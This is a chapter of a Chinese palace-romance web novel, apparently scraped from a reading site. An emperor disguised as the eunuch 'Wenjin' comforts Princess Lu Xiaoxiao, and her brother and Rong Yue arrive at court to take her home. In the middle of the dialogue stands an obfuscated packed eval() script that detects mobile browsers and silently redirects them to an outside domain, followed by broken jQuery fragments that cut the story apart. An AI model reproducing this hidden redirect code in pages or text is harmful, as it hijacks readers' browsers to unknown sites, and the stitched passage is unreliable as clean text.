38. 不能一起

作品:《偷了死对头的家后

    陆小小说完这话,眼泪落下来。


    自从父母和外祖母走后,她只剩下兄长一个亲人,本该最亲密的两人,却一直矛盾不断。


    桓景玉把陆小小的失落无助看在眼里,拿出锦帕替她拭泪。


    “‘文瑾’你说我真的错了吗,我只是想救他们,只是想他们吃饱穿暖,只是想要他们过安稳平静的生活,我在竭尽所能的帮他们,可为什么到了兄长口中却是在害他们?”


    陆小小说完,再也忍不住失声痛哭起来。


    桓景玉把人揽入怀中,由她释放心中的苦闷。


    陆小小的努力他都看在眼里,本可以衣食无忧的公主,为了她的臣民,做了连自己都不耻的事,只为他们能活得好一些。


    她背负了所有的指责和内心的煎熬,甚至险些丢命。然而现在突然有人说她做的一切都是错的,说这话的还是她的至亲,这无异于在剜她的心。


    想到这里,桓景玉收拢了手臂,把她抱得更紧些。


    “你没错,你只是不懂人性罢了。”


    人性是这世上最难琢磨的东西,一旦欲望的口子被划开,他们就会变得贪婪,索求无度,甚至于到了最后只愿坐享其成。


    辰国的百姓生活困苦,从前边境互市,为了换取钱粮,他们需要付出牛羊,而现在陆小小直接把什么都送了回去,他们不需要付出任何东西,就能有吃有穿,久而久之,只会让他们生出颓堕之心。


    这是桓景玉早预料到的,但他一直不忍心点破,就怕她内心承受不住,可没想到最后还是被她知道了自己好心办坏事的事实。


    不知过了多久,怀中的哭泣声渐小,女郎睡着了。


    桓景玉把她抱入屋中床榻,烛光照亮女郎熟睡的脸庞,许是太过伤心,她呓语时也在轻声啜泣,叫人看了心生不忍。


    他用指腹抹去女郎眼角的泪水,细腻的触感,让桓景玉内心滋生出想要把眼前太阳似的女郎,永远囚禁在自己的黑暗中,让她的光芒无法照亮除他以外别的人。


    那样她就不会痛苦,不会背负本不该她背负的东西。


    不过这样的想法转瞬而逝。


    他起身走去屋外,轻声唤来一个宫人,对他道:“去朕的书房,把户部的建造图册取来。”


    *


    在家等了妹妹一夜的陆渊再也坐不住了,他叫来芷兰,问她:“你确定小小晚上是宿在皇宫了?”


    早已习惯陆小小在外过夜的芷兰,用手揉揉惺忪睡眼,点头道:“听娘子说,‘文瑾’在宫中有个小院,娘子偶尔会在那里过夜。”


    “荒唐,是个女儿家怎能夜不归宿,和男子在外,”陆渊斟酌说出两个字:“胡闹。”


    芷兰见陆渊一脸焦急,忙安慰他道:“君主不用担心,‘文瑾’不是男子,他是太监。”


    辰国没有太监,芷兰并不知道“太监”二字对男子来说意味着什么,只知道太监不是完整的男子。


    既然不是完整的男子,自然对她们公主没有威胁。


    不想,陆渊听后,眉头锁得更紧,脚步越发焦灼起来,在屋中来来回回渡步,让芷兰看得头晕眼花。


    芷兰不明所以看向一旁同样面色冷沉的容越,问他:“容世子,君主这是怎么了,是我哪里说的不对吗?”


    容越沉默半晌,没有回芷兰。


    回答这种问题只会唐突她。


    太监被夺去成为男子的资格,常会心里扭曲,行事比之流连坊巷的纨绔子更荒唐,更令人不耻。


    容越明白这种事,身为君主的陆越更明白,他捶胸顿足道:“是我没有照顾好小小,让她为人所骗,都是我的错。”


    他说着也顾不得旁的了,开门就要往大雍的皇宫去,“我要去把小小找回来,带她回辰国。”


    容越见此赶忙将他拦下,道:“君主且慢,此事还得从长计议。”


    陆渊推开容越的手:“再耽误下去,只怕小小就被……”


    容越听陆渊这么说,心里也越发焦急起来,往日清冷的贵公子,第一次失了方寸。


    他对陆渊道:“好,我陪君主一起。”


    还没回神的芷兰,看着外面还未全亮的天,不知他们到底抽了什么风。


    *


    他们在风中等到了巳时,大雍的皇上在偏殿接见了他们。


    上首男子身穿双龙戏珠朝服,腰间金镶玉跨带上挂着价值连城的匕首,头上的金冠在光下闪着金光,叫人不敢直视。


    陆渊自从登基为辰国的君主后,来过大雍三次,第一次是阮太后见得他,第二次是大雍的皇上桓景玉,而这次也是大雍的皇上。


    不想几年不见,大雍的皇上越发清冷贵气,卓绝容颜,见一次便会一直记住。


    面对桓景玉周身的华贵和气度,陆渊没有了往日在辰国时,生为君主的稳重自持,反而有些小心翼翼。


    大雍国富民强,怠慢不得。


    他双手交叉身前,对桓景玉行礼,桓景玉则给他和容越赐坐。


    短暂寒暄几句后,桓景玉问陆渊为何事来大雍。


    陆渊也不隐瞒,对他道:“我为寻妹妹而来。”


    桓景玉端着茶盏的手一顿,故意问道:“你是说去岁不愿嫁给朕,而逃婚的青禾公主,她在大雍?”


    陆渊照实回答:“她眼下不仅在大雍,还在大雍的皇宫里。”


    “还有这种事,朕怎么不知?”


    桓景玉故作惊讶,然后话锋陡转:“这么说,朕和青禾公主还是有缘的,她逃来逃去,最后还是入了朕的皇宫,不过这样也好,还省得你们送亲了。”


    容越听出桓景玉意有所指,于是问他:“您是什么意思?”


    闻言,桓景玉朝他看去,对他道:“自然是娶青禾公主。”


    “不可,她不能嫁给您。”容越不觉加重了语气。


    “为何不可?”


    桓景玉看向容越的眸光,冷得可怕。


    饶是陆渊再迟钝,也觉察出其中的火药味,他赶忙出声,对桓景玉道:“大雍的皇上恕罪,我妹妹已经有了喜欢的人,我断然不能再把她嫁给您。”


    他去岁不知中了什么邪,定要把唯一的妹妹送来大雍当妃嫔,致使兄妹间生了嫌隙,现在他绝不会再让妹妹嫁来大雍。


    “她有喜欢的人?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159377|180371||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    桓景玉问陆渊:“她喜欢谁?”


    听桓景玉这么问,陆渊和容越对视一眼,只觉他这话问得奇怪。


    小小喜欢谁和他有关系吗?


    不过陆渊还是回答了他:“小小喜欢容世子。”


    容越没想到陆渊的回答会是他。


    他一直都知陆小小只当他是兄长,对他没有男女之情,但听陆渊说陆小小喜欢的是他时,他心里还是生出几分得意,看向桓景玉的眼神也带上了挑衅的意味。


    “他……”


    桓景玉心中冷笑一声,终是没就这个话题再说下去,而是问陆渊:“你怎知青禾公主在我宫中?”


    陆渊沉思片刻道:“她被‘文瑾’拐入了皇宫。”


    “被拐入皇宫,此话怎讲?”桓景玉顿了顿:“你怎就能确认青禾公主不是喜欢他?”


    “他是一个太监,小……青禾公主怎么会喜欢他?”容越问。


    “可若他不是太监了?”桓景玉问。


    “饶是他不是太监,青禾公主也不能和他在一起。”


    未见其人,先闻其声。


    嬷嬷掀开珠帘,阮太后走了进来,她看着桓景玉道:“他和青禾公主云泥之别,又有两国隔在其间,他们不会有结果的,皇儿还是该早日想明白为妙,断了那‘文瑾’的心思。”


    “母后一直在外面听我们说话?”桓景玉言语中透着不耐。


    阮太后却是笑看他:“皇儿和哀家是母子,有什么话是哀家听不得的?”


    陆渊听懂不二人之间的针锋相对,只觉阮太后说得有理,小小是辰国的公主,而那什么“文瑾”只是一个太监,小小和他不就是云泥之别吗?


    桓景玉却是听明白阮太后话中的深意,她把他和陆小小之间的矛盾,摆在他面前。


    辰国陷入如今这地步,拜大雍所赐,饶是陆小小知道封市令的事和桓景玉无关,是阮太后所为。


    但他到底和阮太后利益同体,所以哪怕陆小小不再厌恶他,也不可能和他在一起。


    陆渊不知母子之间的心思,毕恭毕敬对阮太后行礼。


    阮太后坐去桓景玉身侧,让陆渊免礼,然后问他:“听闻贵国青禾公主在皇宫?”


    陆渊面上讪讪:“是家妹不懂事,给大雍添麻烦了。”


    “无妨的,无妨的。”阮太后笑道,对身旁伺候的嬷嬷道:“既如此,那便去请青禾公主过来吧!”


    她说完,故意看向桓景玉:“不知皇儿可有见过这青禾公主,传言她容貌胜过仙子。”


    桓景玉盯看阮太后几息,知道她此番的用意。


    她定是早看出他对陆小小隐瞒了身份,想趁此机会,让陆小小识破他是皇上。


    如此,依陆小小疾恶如仇的性子,必不会再理他,到那时,他又会成为她手中听话的傀儡,对她言听计从。


    “朕的确听闻青禾公主容貌甚美,去岁因她逃婚,朕未见到她的真言,还可惜了一阵子,既如此,那快些请人过来吧。”


    随着桓景玉话音落下,阮太后敛了笑容。


    莫非皇儿已经对青禾公主表露了身份,所以才不惧她前来?